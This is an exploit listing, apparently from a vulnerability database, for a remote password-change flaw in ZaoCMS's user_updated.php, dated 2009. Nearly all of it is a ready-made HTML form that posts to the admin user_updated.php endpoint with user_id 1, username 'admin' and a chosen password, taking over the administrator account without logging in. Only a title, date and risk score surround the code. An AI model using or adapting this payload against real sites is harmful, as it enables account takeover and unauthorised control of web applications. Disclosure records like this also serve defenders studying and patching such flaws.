ZaoCMS (user_updated.php) Remote Change Password Exploit

🗓️ 23 May 2009 00:00:00Reported by RootType
Remote Change Password Exploit in ZaoCMS (user_updated.php

                                                &lt;form
action=&quot;http://demo.zaocms.com/admin/modules/Users/user_updated.php&quot;
method=&quot;post&quot; onsubmit=&quot;return checkForm(this);&quot; id=form1 Name=form1&gt;
  &lt;h2&gt;Cod[3] By ThE g0bL!N ZaoCMS Remote Change Password
 &lt;/h2&gt;
&lt;tittle&gt; ThE g0bL!N&lt;/tittle&gt;
   
  &lt;table cellSpacing=&quot;0&quot; cellPadding=&quot;0&quot; width=&quot;100%&quot; border=&quot;0&quot;&gt;
  &lt;tr&gt;&lt;td width=&quot;350&quot;&gt;
&lt;input type=&quot;hidden&quot; name=&quot;user_id&quot; value=&quot;1&quot; /&gt;
  &lt;table cellSpacing=&quot;0&quot; cellPadding=&quot;0&quot; width=&quot;350&quot; class=&quot;form_table2&quot;
border=&quot;0&quot;&gt;
  &lt;tr&gt;&lt;td colspan=&quot;2&quot; class=&quot;grey_bg&quot;&gt;
&lt;h4&gt;&lt;strong&gt;Contact/Login Info&lt;/strong&gt;&lt;/h4&gt;
  &lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td width=&quot;100&quot;
height=&quot;20&quot;&gt;&lt;strong&gt;Username*&lt;/strong&gt;&lt;/td&gt;&lt;td width=&quot;100&quot; height=&quot;20&quot;&gt;
&lt;strong&gt;admin&lt;/strong&gt;&lt;input name=&quot;username&quot; type=&quot;hidden&quot;  value=&quot;admin&quot;
/&gt;
  &lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td width=&quot;100&quot;
height=&quot;20&quot;&gt;&lt;strong&gt;Password*&lt;/strong&gt;&lt;/td&gt;&lt;td width=&quot;100&quot; height=&quot;20&quot;&gt;
&lt;input name=&quot;password&quot; type=&quot;text&quot; id=&quot;password&quot; value=&quot;za0&quot; size=&quot;20&quot; /&gt;
  &lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td width=&quot;100&quot; height=&quot;20&quot;&gt;&lt;strong&gt;Real
Name*&lt;/strong&gt;&lt;/td&gt;&lt;td width=&quot;100&quot; height=&quot;20&quot;&gt;
&lt;input name=&quot;realname&quot; type=&quot;text&quot; value=&quot;ZaoCMS Demo Admin&quot; size=&quot;20&quot;&gt;
  &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td width=&quot;100&quot; height=&quot;20&quot;&gt;&lt;strong&gt;Email&lt;/strong&gt;&lt;br /&gt;
  &amp;nbsp; &lt;/td&gt;&lt;td width=&quot;100&quot; height=&quot;20&quot;&gt;
    &lt;input name=&quot;email&quot; type=&quot;text&quot; id=&quot;email&quot; value=&quot;[email protected]&quot; size=&quot;20&quot;
/&gt;
  &lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td width=&quot;100&quot; height=&quot;20&quot;&gt;&lt;strong&gt;Phone&lt;/strong&gt;&lt;/td&gt;&lt;td
width=&quot;100&quot; height=&quot;20&quot;&gt;
&lt;p&gt;
 &lt;input type=&quot;checkbox&quot; checked=&quot;checked&quot; name=&quot;is_admin&quot; value=&quot;y&quot;
disabled /&gt; Site Administrator Priveleges &lt;p&gt;    
    &amp;nbsp;
  &lt;input type=&quot;hidden&quot; name=&quot;redir&quot; value=&quot;&quot; /&gt;
    &lt;input type=&quot;submit&quot; value=&quot;Save Changes&quot; id=&quot;submit&quot; name=&quot;submit&quot; 
class=&quot;s&quot; /&gt;
  &lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;
23 May 2009 00:00Current
7.1High risk
Vulners AI Score7.1